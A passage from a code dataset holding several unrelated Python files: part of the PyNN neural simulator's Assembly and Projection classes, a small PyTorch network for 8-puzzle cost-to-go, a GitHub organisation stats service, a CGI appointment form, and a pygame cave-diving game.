output file created there. Otherwise, a\n file will be written on each node, containing only the cells simulated\n on that node.\n \"\"\"\n self._print(file, 'spikes', (0, 2), gather, compatible_output)\n\n def print_v(self, file, gather=True, compatible_output=True):\n \"\"\"\n Write membrane potential traces to file.\n\n file should be either a filename or a PyNN File object.\n\n If compatible_output is True, the format is \"v cell_id\",\n where cell_id is the index of the cell counting along rows and down\n columns (and the extension of that for 3-D).\n The timestep, first id, last id, and number of data points per cell are\n written in a header, indicated by a '#' at the beginning of the line.\n\n If compatible_output is False, the raw format produced by the simulator\n is used. This may be faster, since it avoids any post-processing of the\n voltage files.\n\n For parallel simulators, if gather is True, all data will be gathered\n to the master node and a single output file created there. Otherwise, a\n file will be written on each node, containing only the cells simulated\n on that node.\n \"\"\"\n self._print(file, 'v', (0, 2), gather, compatible_output)\n\n def print_gsyn(self, file, gather=True, compatible_output=True):\n \"\"\"\n Write synaptic conductance traces to file.\n\n file should be either a filename or a PyNN File object.\n\n If compatible_output is True, the format is \"t g cell_id\",\n where cell_id is the index of the cell counting along rows and down\n columns (and the extension of that for 3-D).\n The timestep, first id, last id, and number of data points per cell are\n written in a header, indicated by a '#' at the beginning of the line.\n\n If compatible_output is False, the raw format produced by the simulator\n is used. This may be faster, since it avoids any post-processing of the\n voltage files.\n \"\"\"\n self._print(file, 'gsyn', (0, 3), gather, compatible_output)\n\n def inject(self, current_source):\n \"\"\"\n Connect a current source to all cells in the Assembly.\n \"\"\"\n for p in self.populations:\n current_source.inject_into(p)\n\n def describe(self, template='assembly_default.txt', engine='default'):\n \"\"\"\n Returns a human-readable description of the assembly.\n\n The output may be customized by specifying a different template\n togther with an associated template engine (see ``pyNN.descriptions``).\n\n If template is None, then a dictionary containing the template context\n will be returned.\n \"\"\"\n context = {\"label\": self.label,\n \"populations\": [p.describe(template=None) for p in self.populations]}\n return descriptions.render(engine, template, context)\n\n# =============================================================================\n\n\nclass Projection(object):\n \"\"\"\n A container for all the connections of a given type (same synapse type and\n plasticity mechanisms) between two populations, together with methods to\n set parameters of those connections, including of plasticity mechanisms.\n \"\"\"\n\n def __init__(self, presynaptic_neurons, postsynaptic_neurons, method,\n source=None, target=None, synapse_dynamics=None,\n label=None, rng=None):\n \"\"\"\n presynaptic_neurons and postsynaptic_neurons - Population, PopulationView\n or Assembly objects.\n\n source - string specifying which attribute of the presynaptic cell\n signals action potentials. This is only needed for\n multicompartmental cells with branching axons or\n dendrodendriticsynapses. All standard cells have a single\n source, and this is the default.\n\n target - string specifying which synapse on the postsynaptic cell to\n connect to. For standard cells, this can be 'excitatory' or\n 'inhibitory'. For non-standard cells, it could be 'NMDA', etc.\n If target is not given, the default values of 'excitatory' is\n used.\n\n method - a Connector object, encapsulating the algorithm to use for\n connecting the neurons.\n\n synapse_dynamics - a `standardmodels.SynapseDynamics` object specifying\n which synaptic plasticity mechanisms to use.\n\n rng - specify an RNG object to be used by the Connector.\n \"\"\"\n for prefix, pop in zip((\"pre\", \"post\"),\n (presynaptic_neurons, postsynaptic_neurons)):\n if not isinstance(pop, (BasePopulation, Assembly)):\n raise errors.ConnectionError(\"%ssynaptic_neurons must be a Population, PopulationView or Assembly, not a %s\" % (prefix, type(pop)))\n \n if isinstance(postsynaptic_neurons, Assembly):\n if not postsynaptic_neurons._homogeneous_synapses:\n raise Exception('Projection to an Assembly object can be made only with homogeneous synapses types')\n \n self.pre = presynaptic_neurons # } these really\n self.source = source # } should be\n self.post = postsynaptic_neurons # } read-only\n self.target = target # }\n self.label = label\n if isinstance(rng, random.AbstractRNG):\n self.rng = rng\n elif rng is None:\n self.rng = random.NumpyRNG(seed=151985012)\n else:\n raise Exception(\"rng must be either None, or a subclass of pyNN.random.AbstractRNG\")\n self._method = method\n self.synapse_dynamics = synapse_dynamics\n #self.connection = None # access individual connections. To be defined by child, simulator-specific classes\n self.weights = []\n if label is None:\n if self.pre.label and self.post.label:\n self.label = \"%s→%s\" % (self.pre.label, self.post.label)\n if self.synapse_dynamics:\n assert isinstance(self.synapse_dynamics, models.BaseSynapseDynamics), \\\n \"The synapse_dynamics argument, if specified, must be a models.BaseSynapseDynamics object, not a %s\" % type(synapse_dynamics)\n\n def __len__(self):\n \"\"\"Return the total number of local connections.\"\"\"\n return len(self.connection_manager)\n\n def size(self, gather=True):\n \"\"\"\n Return the total number of connections.\n - only local connections, if gather is False,\n - all connections, if gather is True (default)\n \"\"\"\n if gather:\n n = len(self)\n return recording.mpi_sum(n)\n else:\n return len(self)\n\n def __repr__(self):\n return 'Projection(\"%s\")' % self.label\n\n def __getitem__(self, i):\n \"\"\"Return the `i`th connection within the Projection.\"\"\"\n return self.connection_manager[i]\n\n # --- Methods for setting connection parameters ---------------------------\n\n def setWeights(self, w):\n \"\"\"\n w can be a single number, in which case all weights are set to this\n value, or a list/1D array of length equal to the number of connections\n in the projection, or a 2D array with the same dimensions as the\n connectivity matrix (as returned by `getWeights(format='array')`).\n Weights should be in nA for current-based and µS for conductance-based\n synapses.\n \"\"\"\n # should perhaps add a \"distribute\" argument, for symmetry with \"gather\" in getWeights()\n # if post is an Assembly, some components might have cond-synapses, others curr, so need a more sophisticated check here\n w = check_weight(w, self.synapse_type, is_conductance(self.post.local_cells[0]))\n self.connection_manager.set('weight', w)\n\n def randomizeWeights(self, rand_distr):\n \"\"\"\n Set weights to random values taken from rand_distr.\n \"\"\"\n # Arguably, we could merge this with set_weights just by detecting the\n # argument type. It could make for easier-to-read simulation code to\n # give it a separate name, though. Comments?\n self.setWeights(rand_distr.next(len(self)))\n\n def setDelays(self, d):\n \"\"\"\n d can be a single number, in which case all delays are set to this\n value, or a list/1D array of length equal to the number of connections\n in the projection, or a 2D array with the same dimensions as the\n connectivity matrix (as returned by `getDelays(format='array')`).\n \"\"\"\n self.connection_manager.set('delay', d)\n\n def randomizeDelays(self, rand_distr):\n \"\"\"\n Set delays to random values taken from rand_distr.\n \"\"\"\n self.setDelays(rand_distr.next(len(self)))\n\n def setSynapseDynamics(self, param, value):\n \"\"\"\n Set parameters of the dynamic synapses for all connections in this\n projection.\n \"\"\"\n self.connection_manager.set(param, value)\n\n def randomizeSynapseDynamics(self, param, rand_distr):\n \"\"\"\n Set parameters of the synapse dynamics to values taken from rand_distr\n \"\"\"\n self.setSynapseDynamics(param, rand_distr.next(len(self)))\n\n # --- Methods for writing/reading information to/from file. ---------------\n\n def getWeights(self, format='list', gather=True):\n \"\"\"\n Get synaptic weights for all connections in this Projection.\n\n Possible formats are: a list of length equal to the number of connections\n in the projection, a 2D weight array (with NaN for non-existent\n connections). Note that for the array format, if there is more than\n one connection between two cells, the summed weight will be given.\n \"\"\"\n if gather:\n logger.error(\"getWeights() with gather=True not yet implemented\")\n return self.connection_manager.get('weight', format)\n\n def getDelays(self, format='list', gather=True):\n \"\"\"\n Get synaptic delays for all connections in this Projection.\n\n Possible formats are: a list of length equal to the number of connections\n in the projection, a 2D delay array (with NaN for non-existent\n connections).\n \"\"\"\n if gather:\n logger.error(\"getDelays() with gather=True not yet implemented\")\n return self.connection_manager.get('delay', format)\n\n def getSynapseDynamics(self, parameter_name, format='list', gather=True):\n \"\"\"\n Get parameters of the dynamic synapses for all connections in this\n Projection.\n \"\"\"\n if gather:\n logger.error(\"getstandardmodels.SynapseDynamics() with gather=True not yet implemented\")\n return self.connection_manager.get(parameter_name, format)\n\n def saveConnections(self, file, gather=True, compatible_output=True):\n \"\"\"\n Save connections to file in a format suitable for reading in with a\n FromFileConnector.\n \"\"\"\n \n if isinstance(file, basestring):\n file = files.StandardTextFile(file, mode='w')\n \n lines = []\n if not compatible_output:\n for c in self.connections:\n lines.append([c.source, c.target, c.weight, c.delay])\n else:\n for c in self.connections: \n lines.append([self.pre.id_to_index(c.source), self.post.id_to_index(c.target), c.weight, c.delay])\n \n if gather == True and num_processes() > 1:\n all_lines = { rank(): lines }\n all_lines = recording.gather_dict(all_lines)\n if rank() == 0:\n lines = reduce(operator.add, all_lines.values())\n elif num_processes() > 1:\n file.rename('%s.%d' % (file.name, rank()))\n \n logger.debug(\"--- Projection[%s].__saveConnections__() ---\" % self.label)\n \n if gather == False or rank() == 0:\n file.write(lines, {'pre' : self.pre.label, 'post' : self.post.label})\n file.close()\n\n def printWeights(self, file, format='list', gather=True):\n \"\"\"\n Print synaptic weights to file. In the array format, zeros are printed\n for non-existent connections.\n \"\"\"\n weights = self.getWeights(format=format, gather=gather)\n \n if isinstance(file, basestring):\n file = files.StandardTextFile(file, mode='w')\n \n if format == 'array':\n weights = numpy.where(numpy.isnan(weights), 0.0, weights)\n file.write(weights, {})\n file.close() \n\n def printDelays(self, file, format='list', gather=True):\n \"\"\"\n Print synaptic weights to file. In the array format, zeros are printed\n for non-existent connections.\n \"\"\"\n delays = self.getDelays(format=format, gather=gather)\n \n if isinstance(file, basestring):\n file = files.StandardTextFile(file, mode='w')\n \n if format == 'array':\n delays = numpy.where(numpy.isnan(delays), 0.0, delays)\n file.write(delays, {})\n file.close() \n\n def weightHistogram(self, min=None, max=None, nbins=10):\n \"\"\"\n Return a histogram of synaptic weights.\n If min and max are not given, the minimum and maximum weights are\n calculated automatically.\n \"\"\"\n # it is arguable whether functions operating on the set of weights\n # should be put here or in an external module.\n weights = self.getWeights(format='list', gather=True)\n if min is None:\n min = weights.min()\n if max is None:\n max = weights.max()\n bins = numpy.linspace(min, max, nbins+1)\n return numpy.histogram(weights, bins) # returns n, bins\n\n def describe(self, template='projection_default.txt', engine='default'):\n \"\"\"\n Returns a human-readable description of the projection.\n\n The output may be customized by specifying a different template\n togther with an associated template engine (see ``pyNN.descriptions``).\n\n If template is None, then a dictionary containing the template context\n will be returned.\n \"\"\"\n context = {\n \"label\": self.label,\n \"pre\": self.pre.describe(template=None),\n \"post\": self.post.describe(template=None),\n \"source\": self.source,\n \"target\": self.target,\n \"size_local\": len(self),\n \"size\": self.size(gather=True),\n \"connector\": self._method.describe(template=None),\n \"plasticity\": None,\n }\n if self.synapse_dynamics:\n context.update(plasticity=self.synapse_dynamics.describe(template=None))\n return descriptions.render(engine, template, context)\n\n\n# =============================================================================\n","sub_path":"src/spinnaker_ros_lsm/venv/lib/python2.7/site-packages/pyNN/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":80240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"361516986","text":"from torch import nn\nimport numpy as np\n\nimport torch # for adam optimizer\nfrom time import time # for logging\n\n\ndef get_nnet_model() -> nn.Module:\n \"\"\" Get the neural network model\n\n @return: neural network model\n \"\"\"\n input_size = 81 # dimension of 8-puzzle state\n hidden_layer_size = 250 # size of each hidden layer\n output_size = 1 # dimension of output (predicting a singular value, cost-to-go)\n\n # Define neural network (using Sequential API as it is just a simple multilayer perceptron)\n class DNN(nn.Module):\n def __init__(self, D_in, H, D_out):\n super(DNN, self).__init__()\n\n self.layers = nn.Sequential(\n nn.Linear(D_in, H), # input layer -> hidden layer 1\n nn.ReLU(),\n nn.Linear(H, H), # hidden layer 1 -> hidden layer 2\n nn.ReLU(),\n nn.Linear(H, H), # hidden layer 2 -> hidden layer 3\n nn.ReLU(),\n nn.Linear(H, D_out), # hidden layer 3 -> output layer\n nn.ReLU() # cost-to-go should be non-negative\n )\n\n def forward(self, x):\n x = x.float()\n x = self.layers(x)\n return x\n\n return DNN(input_size, hidden_layer_size, output_size)\n\n\ndef train_nnet(nnet: nn.Module, states_nnet: np.ndarray, outputs: np.ndarray, batch_size: int, num_itrs: int,\n train_itr: int):\n print_skip = 100\n\n loss_fn = nn.MSELoss()\n optimizer = torch.optim.Adam(nnet.parameters())\n batch_start_idx = 0\n batch_start_time = time()\n\n for itr in range(train_itr, train_itr + num_itrs):\n # get batch of training examples\n start_idx = batch_start_idx\n end_idx = batch_start_idx + batch_size\n input_batch = torch.tensor(states_nnet[start_idx:end_idx])\n target_batch = torch.tensor(outputs[start_idx:end_idx])\n\n # complete pass over batch\n pred_batch = nnet(input_batch)\n loss = loss_fn(target_batch, pred_batch)\n if itr % print_skip == 0: # print loss every 100 training iterations\n print(f\"Itr: {itr}, \"\n f\"loss: {round(loss.item(), 5)}, \"\n f\"targ_ctg: {round(target_batch.float().mean().item(), 2)}, \"\n f\"nnet_ctg: {round(pred_batch.float().mean().item(), 2)}, \"\n f\"Time: {round(time() - batch_start_time, 2)}\")\n batch_start_time = time()\n loss.backward()\n\n # update optimizer\n optimizer.step()\n optimizer.zero_grad()\n\n # increment to next batch\n batch_start_idx += batch_size\n","sub_path":"to_implement/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":2635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"144373799","text":"#!/usr/bin/env python\n\nfrom json import loads\n\nfrom app.model.profile_response import ProfileResponse\nfrom app.requestor import make_call\n\nHEADERS = {\"Content-Type\": \"application/json\"}\n\n\"\"\"\nService to handle Github \n\n@author bvanderlaan\n\"\"\"\n\n\nclass GithubService:\n def get_profile(self, org):\n return ProfileResponse(\n **self.parse_response(\n make_call(\n \"https://api.github.com/orgs/{}/repos\".format(org),\n HEADERS,\n \"Github\",\n ).content\n )\n )\n\n def parse_response(self, response):\n \"\"\"\n Extracts original_repo_count, total_watchers, forks, languages, and repo_topics\n :param response: the json response from github\n :return: dict\n \"\"\"\n original_repo_count = 0\n total_watchers = 0\n forks = 0\n languages = []\n repo_topics = []\n for item in loads(response):\n original_repo_count += 1\n total_watchers += item.get(\"watchers\", 0)\n forks += item.get(\"forks_count\", 0)\n languages.append(item.get(\"language\"))\n repo_topics.append(item.get(\"name\"))\n return {\n \"original\": original_repo_count,\n \"forked\": forks,\n \"total_watchers\": total_watchers,\n \"languages\": languages,\n \"repo_topics\": repo_topics,\n }\n","sub_path":"app/service/github_service.py","file_name":"github_service.py","file_ext":"py","file_size_in_byte":1426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"630789745","text":"#!/usr/bin/env python3\n\nimport Compromisso, CompromissoDAO\nfrom FormatData import FormatData\nimport cgi\n\nform = cgi.FieldStorage()\ncompromisso = Compromisso.Compromisso()\ncompromissoDAO = CompromissoDAO.CompromissoDAO()\n\n\n\n\nif bool(form.getvalue(\"cod\")):\n\tcod = int(form.getvalue(\"cod\"))\n\tcompromisso = compromissoDAO.select(cod)\n\nif bool(form.getvalue(\"dt\")):\n\tdt = FormatData.de_JDate(form.getvalue(\"dt\") + \"T00:00\")\n\tcompromisso.setDT_INICIO(dt)\n\tcompromisso.setDT_FINAL(dt)\n\n\nprint(\"Content-type: text/html\\n\")\nprint(\n\"\"\"<!DOCTYPE html>\n<html>\n\t<head>\n\t\t<meta charset=\"UTF-8\">\n\t</head>\n\t<body>\n\t\t<h1>compromisso!!!</h1>\n\t\t<form id=\"form_frm\" method=\"POST\" action=\"\">\"\"\")\n\n\n\nprint(\n\"\"\"\n\t\t\t<label for='{}'>{}</label>\n\t\t\t<input type='{}' name='{}' id=\"{}\" value='{}'>\n\t\t\t<br>\"\"\".\nformat(\n\"COD_COMPROMISSO\",\n\"COD_COMPROMISSO:\",\n\"\",\n\"COD_COMPROMISSO\",\n\"COD_COMPROMISSO\",\ncompromisso.getCOD_COMPROMISSO()\n))\n\n\n\n#============================ COMBO COD_DISCIPLINA =============================\n\nprint(\\\n\t\"\"\"\n\t\t\t<div id=\"divCOD_DISCIPLINA\">COMBO COD_DISCIPLINA</div>\"\"\")\n\n#============================ COMBO COD_DISCIPLINA =============================\n\n#================================ COMBO COD_TIPO ===============================\n\nprint(\\\n\t\"\"\"\n\t\t\t<div id=\"divCOD_TIPO\">COMBO COD_TIPO</div>\"\"\")\n\n#================================ COMBO COD_TIPO ===============================\n\nprint(\n\"\"\"\n\t\t\t<label for='{}'>{}</label>\n\t\t\t<input type='{}' name='{}' id=\"{}\" value='{}'>\n\t\t\t<br>\"\"\".\nformat(\n\"NOME\",\n\"NOME:\",\n\"\",\n\"NOME\",\n\"NOME\",\ncompromisso.getNOME()\n))\n\n\n\n\nprint(\n\"\"\"\n\t\t\t<label for='{}'>{}</label>\n\t\t\t<input type='{}' name='{}' id=\"{}\" value='{}'>\n\t\t\t<br>\"\"\".\nformat(\n\"CATEGORIA\",\n\"CATEGORIA:\",\n\"\",\n\"CATEGORIA\",\n\"CATEGORIA\",\ncompromisso.getCATEGORIA()\n))\n\n\n\nprint(\n\"\"\"\n\t\t\t<label for='{}'>{}</label>\n\t\t\t<input type='{}' name='{}' id=\"{}\" value='{}'>\n\t\t\t<br>\"\"\".\nformat(\n\"DT_INICIO\",\n\"DT_INICIO:\",\n\"date\",\n\"DT_INICIO\",\n\"DT_INICIO\",\nFormatData.para_Data_Serial(compromisso.getDT_INICIO())\n))\n\n\nprint(\n\"\"\"\n\t\t\t<label for='{}'>{}</label>\n\t\t\t<input type='{}' name='{}' id=\"{}\" value='{}'>\n\t\t\t<br>\"\"\".\nformat(\n\"DT_FINAL\",\n\"DT_FINAL:\",\n\"date\",\n\"DT_FINAL\",\n\"DT_FINAL\",\nFormatData.para_Data_Serial(compromisso.getDT_FINAL())\n))\n\n\n\nprint(\n\"\"\"\n\t\t\t<label for='{}'>{}</label>\n\t\t\t<input type='{}' name='{}' id=\"{}\"{}>\n\t\t\t<br>\"\"\".\nformat(\n\"FEITO\",\n\"FEITO:\",\n\"checkbox\",\n\"FEITO\",\n\"FEITO\",\n\" checked\" if compromisso.getFEITO() else \"\"\n))\n\n\n\n\n\n\n\n\n\n\n\nprint(\n\"\"\"\n\t\t\t<input type=\"\" name=\"act\" id=\"act\" value=\"\">\n\t\t</form>\n\t\t<hr>\n\t\t<button id=\"salvar\">Salvar</button>\n\t\t<button id=\"deletar\">Deletar</button>\n\t\t<button id=\"fechar\">Fechar</button>\n\t</body>\n</html>\n\"\"\")\n\n# define javascript e jquery\nprint(\n\"\"\"\n<script type=\"text/javascript\" src=\"../js/jquery-2.2.0.js\"></script>\n<script>\n\t\n\tform = document.getElementById(\"form_frm\");\n\tsalvar = document.getElementById(\"salvar\");\n\tdeletar = document.getElementById(\"deletar\");\n\tfechar = document.getElementById(\"fechar\");\n\n\n\tsalvar.addEventListener(\"click\", function(){\n\t\tform.submit();\n\t});\n\t\n\tdeletar.addEventListener(\"click\", function(){\n\t\tconf = confirm(\"Tem certeza?\");;\n\t\tif (conf){\n\t\t\t$('#act').attr(\"value\", \"del\");\n\t\t\tform.submit();\n\t\t}\n\t});\n\t\n\tfechar.addEventListener(\"click\", function(){\n\t\tself.close();\n\t});\"\"\")\n\n\n\n\n# jquery - define o que acontece \n# quando a pagina estiver carregada\nprint(\n\"\"\"\n\t$(document).ready(function(){\n\"\"\")\n\n#define action do <form>\nprint(\"\"\"\n\t\tvar formAction = \"{}\";\n\t\t\n\t\t$(\"#act\").css(\"display\", \"none\");\n\t\tform.setAttribute(\"action\", formAction);\n\t\t\n\"\"\".\nformat(\"tarefa_sve.py\"))\n\n\nprint(\n\"\"\"\n\t\t$(\"#divCOD_DISCIPLINA\").load(\"disciplina_cmb.py?cod=\"\"\" + \n\t\tstr(compromisso.getCOD_DISCIPLINA()) + \"\"\"&nm=COD_DISCIPLINA\");\n\n\t\t$(\"#divCOD_TIPO\").load(\"tipo_cmb.py?cod=\"\"\" + \n\t\tstr(compromisso.getCOD_TIPO()) + \"\"\"&nm=COD_TIPO\");\n\"\"\"\n)\n\n\n\n\nprint(\n\"\"\"\n\t});\n</script>\"\"\")\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"cgi-bin/compromisso_frm.py","file_name":"compromisso_frm.py","file_ext":"py","file_size_in_byte":3848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"486611430","text":"#cave_swimmer_forest_walker_1.4\n\"\"\"\nauthor: \t\tRoelof Roessingh\nstart_date: \t\t\t2018 - dec - 17, Amsterdam\ncurrent_date: \t\t\t2018 - dec - 25, Amsterdam\nmain dependencies:\tPython 3.7, pygame 1.9.4\ngit repos:\t \ttbd\n\"\"\"\n\nthis = 1\n#imports:\nimport pygame \nimport time\nimport random\nimport os\nimport tkinter as tk\n\n#game introduction:\nwelcome_text1 = \"Welcome to Cave Diver\" \nwelcome_text2 = \"control your diver with the arrow keys\"\nwelcome_text3 = \"navigate to the end of the cave without hitting the walls\" \nwelcome_text4 = \"(press q to quit)\"\n\n#user input settings:\nfull_screen\t\t= False\nsymmetry\t\t= False\nspeed\t\t\t= .5 \t\t#levels: 1:slowest .5, .3:fastest\nplayer_size_ratio\t= 25\t\t#player size will be 1/player_size_ratio of the screen height, should be between 10 (largest) and 50 (smallest)\nbuffer\t\t\t= 100\n\n#get device screen size and set game screen size\nroot \t\t\t= tk.Tk()\nworiginal, horiginal \t= root.winfo_screenwidth(), root.winfo_screenheight()\nwgame,hgame \t\t= int(root.winfo_screenwidth()/2), int(root.winfo_screenheight()/2)\nif full_screen == True:\n\twgame,hgame = woriginal,horiginal\n\n#initiate the (py)game screen:\nscreen \t\t\t= pygame.display.set_mode((wgame, hgame))\nplayer_size \t\t= hgame/player_size_ratio\n\n#set generic variables\ndone\t\t= False \t#determines if main while loop is broken, if True = game ends\nmove_step \t= 4 \t\t#how many pixels 1 button press makes player move\n\n#set background:\n#define simple function to tell programm to look for images in same folder as the current file, and rescale to game screen size:\n_image_library = {} \t\t\ndef get_image(path, w, h):\n\tglobal _image_library\n\timage = _image_library.get(path)\n\tif image == None:\n\t\tdefault_path = path.replace('/', os.sep).replace('\\\\', os.sep)\n\t\timage = pygame.image.load(default_path)\n\t\t_image_library[path] = image\n\t\timage = pygame.transform.scale(image,(w,h))\n\treturn image\n\n#create a level, relative to the current screen size:\nclass Level:\n\tdef __init__(self, wgame, hgame, max_range_y, player_size, buffer):\n\t\tself.wgame\t\t= wgame\n\t\tself.hgame \t\t= hgame\n\t\tself.player_size\t= player_size\n\t\tself.buffer\t\t= buffer\n\t\tself.min_range_x_step \t= int(self.wgame/16)\n\t\tself.max_range_x_step \t= int(self.wgame/10)\n\t\tself.min_range_y \t= int(self.hgame/54)\n\t\tself.max_range_y \t= int(self.hgame-self.player_size-self.buffer)\n\n\tdef make_level(self, top_line, bottom_line, y_val_checker, y_val_checker_bottom):\n\t\tx1 \t= 0\n\t\t#lists with indices for drawing the lines of the cave:\n\t\tself.top_line\t\t= top_line\n\t\tself.bottom_line\t= bottom_line\n\t\twhile x1 < self.wgame:\n\t\t\tx_step \t= random.choice(range(self.min_range_x_step, self.max_range_x_step))\n\t\t\ty1 \t= random.choice(range(self.min_range_y, self.max_range_y))\n\t\t\ty2 \t= self.hgame - y1\n\t\t\tif y1 > (self.hgame/2)-self.player_size-self.buffer:\n\t\t\t\ty2 = self.hgame - random.choice(range(0, int(self.hgame - y1 - self.player_size - self.buffer)))\n\t\t\tself.top_line.append((x1,y1))\n\t\t\tself.bottom_line.append((x1,y2))\n\t\t\tx1 += x_step\n\n\t\t#append last indices, always the same:\n\t\tself.top_line.append((self.wgame, self.hgame-(self.hgame-(self.player_size+10))))\n\t\tself.bottom_line.append((self.wgame, self.hgame - (self.player_size+10)))\n\n\t\t#create long check list with y-value for each pixel of the width of the game:\n\t\tself.y_val_checker\t\t= y_val_checker\n\t\tself.y_val_checker_bottom\t= y_val_checker_bottom\n\t\tfor i in range(len(self.top_line)-1):\n\t\t\tx1 = self.top_line[i][0]\n\t\t\ty1 = self.top_line[i][1]\n\t\t\tx2 = self.top_line[i+1][0]\n\t\t\ty2 = self.top_line[i+1][1]\n\t\t\ty3 = self.bottom_line[i][1]\n\t\t\ty4 = self.bottom_line[i+1][1]\n\n\t\t\tx_step = x2-x1\n\t\t\tfor j in range(x_step):\n\t\t\t\ty_check_top \t= (abs(y2-y1)/x_step)*j\n\t\t\t\ty_check_bottom \t= (abs(y4-y3)/x_step)*j\n\t\t\t\tif y1 >= y2:\n\t\t\t\t\tself.y_val_checker.append(y1-y_check_top)\n\t\t\t\tif y1 < y2:\n\t\t\t\t\tself.y_val_checker.append(y1+y_check_top)\n\t\t\t\tif y3 >= y4: \n\t\t\t\t\tself.y_val_checker_bottom.append(y3-y_check_bottom)\n\t\t\t\tif y3 < y4:\n\t\t\t\t\tself.y_val_checker_bottom.append(y3+y_check_bottom)\n\t\t#summcheck:\n#\t\tprint('length of check lists should be equal to game width (i.e True):')\n#\t\tprint('top:', len(self.y_val_checker) == self.wgame)\n#\t\tprint('bottom:', len(self.y_val_checker_bottom) == self.wgame)\n\n\t\t#set starting point player:s\t\n\t\tself.x,self.y\t\t= 5,((self.top_line[0][1]+self.bottom_line[0][1])/2)+ player_size/2 \t#this aligns the starting point of the player in the middle of the \n\n#initiate (py)game:\npygame.init()\npygame.font.init()\nfont1 \t\t= pygame.font.SysFont('Times New Roman', 30)\nfont2 \t\t= pygame.font.SysFont('Times New Roman', 50)\nstart_text1 \t= font1.render(welcome_text1, False, (255, 255, 0))\nstart_text2 \t= font1.render(welcome_text2, False, (255, 255, 0))\nstart_text3 \t= font1.render(welcome_text3, False, (255, 255, 0))\nstart_text4 \t= font1.render(welcome_text4, False, (255, 255, 0))\nend_text \t= font2.render('Game completed, Congratulations!', False, (0, 255, 0))\n\n#main loop: this loads the game\nlevel_counter\t= 0\nnr_levels \t= 4 #should be an even number\n#background \t= [\"sea.jpg\", \"forest.jpg\"]*int(nr_levels/2)\nbackground = ['C:/Users/THINK_SUBJECT22/Documents/python/cave_diver_roessingh_old/sea.jpg', 'C:/Users/THINK_SUBJECT22/Documents/python/cave_diver_roessingh_old/forest.jpg']*int(nr_levels/2)\ncurrent_level \t= Level(wgame, hgame,10,player_size, buffer)\ncurrent_level.make_level([], [], [], [])\n\nscreen.blit(start_text1,(30,20))\nscreen.blit(start_text2,(30,50))\nscreen.blit(start_text3,(30,80))\nscreen.blit(start_text4,(30,140))\npygame.display.update()\ntime.sleep(4)\n\nfor j in range(nr_levels):\n\twhile not done:\n\t\tpressed = pygame.key.get_pressed()\n\n\t\t#define how to end the game:\n\t\tfor event in pygame.event.get():\n\t\t\tif event.type == pygame.QUIT:\n\t\t\t\tdone = True\n\t\tif pressed[pygame.K_q]: #always include a keyboard exit besides the standard quit event\n\t\t\tdone = True\n\t\t\t\n\t\t#define arrow keys as controls:\n\t\tif pressed[pygame.K_UP]:\n\t\t\tcurrent_level.y -= move_step #movement in pixels\n\t\tif pressed[pygame.K_DOWN]:\n\t\t\tcurrent_level.y += move_step\n\t\tif pressed[pygame.K_LEFT] and current_level.x > 0 : #make sure player cannot disappear left off-screen\n\t\t\tcurrent_level.x -= move_step\n\t\tif pressed[pygame.K_RIGHT]:\n\t\t\tcurrent_level.x += move_step\n\n\t\t#this makes sure that the player does not leave a trail, fills the screen with black\n\t\tscreen.fill((0, 0, 0))\n\t\t#draw background\n\t\tscreen.blit(get_image(background[level_counter], wgame, hgame), (0,0))\n\t\t\n\t\t#draw the cave\n\t\tfor i in range((len(current_level.top_line)-1)):\n\t\t\tx1, y1 = current_level.top_line[i][0], current_level.top_line[i][1]\n\t\t\tx2, y2 = current_level.top_line[i+1][0], current_level.top_line[i+1][1]\n\t\t\t\n\t\t\tx3, y3 = current_level.bottom_line[i][0], current_level.bottom_line[i][1]\n\t\t\tx4, y4 = current_level.bottom_line[i+1][0], current_level.bottom_line[i+1][1]\n\t\n\t\t\t#top\n\t\t\tpygame.draw.line(screen, (0, 128, 255),(x1,y1), (x2, y2))\n\t\t\t#bottom\n\t\t\tpygame.draw.line(screen, (128, 0, 255),(x3,y3), (x4, y4))\n\t\t\t\t\t\n\t\t\t#define current coordinates to check if player is out of bounds:\n\t\t\tif current_level.x < wgame-player_size and current_level.x > player_size:\n\t\t\t\tcheck_top_l, check_top_r \t= current_level.y_val_checker[current_level.x], current_level.y_val_checker[current_level.x+int(player_size)]\n\t\t\t\tcheck_bottom_l, check_bottom_r \t= current_level.y_val_checker_bottom[current_level.x], current_level.y_val_checker_bottom[current_level.x+int(player_size)]\n\t\t\n\t\t\t\tif check_top_l > current_level.y or check_top_r > current_level.y or check_bottom_l < current_level.y+player_size or check_bottom_r < current_level.y+player_size:\n\t\t\t\t\tcurrent_level.x,current_level.y= 5,((current_level.top_line[0][1]+current_level.bottom_line[0][1])/2)+ player_size/2\n\t\t\t\t\tpygame.draw.rect(screen, (120, 0, 0), pygame.Rect(0,0, wgame, 30))\n\t\t\t\t\tpygame.draw.rect(screen, (120, 0, 0), pygame.Rect(0,hgame-30,wgame, hgame-30))\n\t\t\t\t\tpygame.display.update()\n\t\t\t\t\ttime.sleep(.05)\n\t\t\n\t\t#finishing a level:\n\t\tif current_level.x >= wgame:\n\t\t\tlevel_counter += 1\n\t\t\t#initiate new level\n\t\t\tcurrent_level = Level(wgame, hgame,10,player_size, buffer)\n\t\t\tcurrent_level.make_level([], [], [], [])\n\t\t\tcurrent_level.x, current_level.y= 5,((current_level.top_line[0][1]+current_level.bottom_line[0][1])/2)+ player_size/2\n\t\t\n\t\tif level_counter == nr_levels:\n\t\t\tscreen.blit(end_text,(30,hgame/2))\n\t\t\tpygame.display.update()\n\t\t\tprint('game finished')\n\t\t\tdone = True\n\t\t\tfor i in range(0, 200, 1):\n\t\t\t\ttime.sleep(0.01)\n\t\t\t\n\t\t#draw the player:\n\t\tpygame.draw.rect(screen, (0, 128, 255), pygame.Rect(current_level.x,current_level.y, player_size, player_size))\n\t\n\t\t#sleep time is virtually equivalent to speed of the player:\n\t\ttime.sleep(speed/100)\n\t\n\t\tpygame.display.flip()\n\t\t\n\n\n##bugs:\n#when running in spyder: quit does not work: not with q and not with clicking the screen exit\n\t\t\t\t\n##improvements:\n#add introduction text\n#add intro GUI\n#add save option\n#add 'lifes' + game 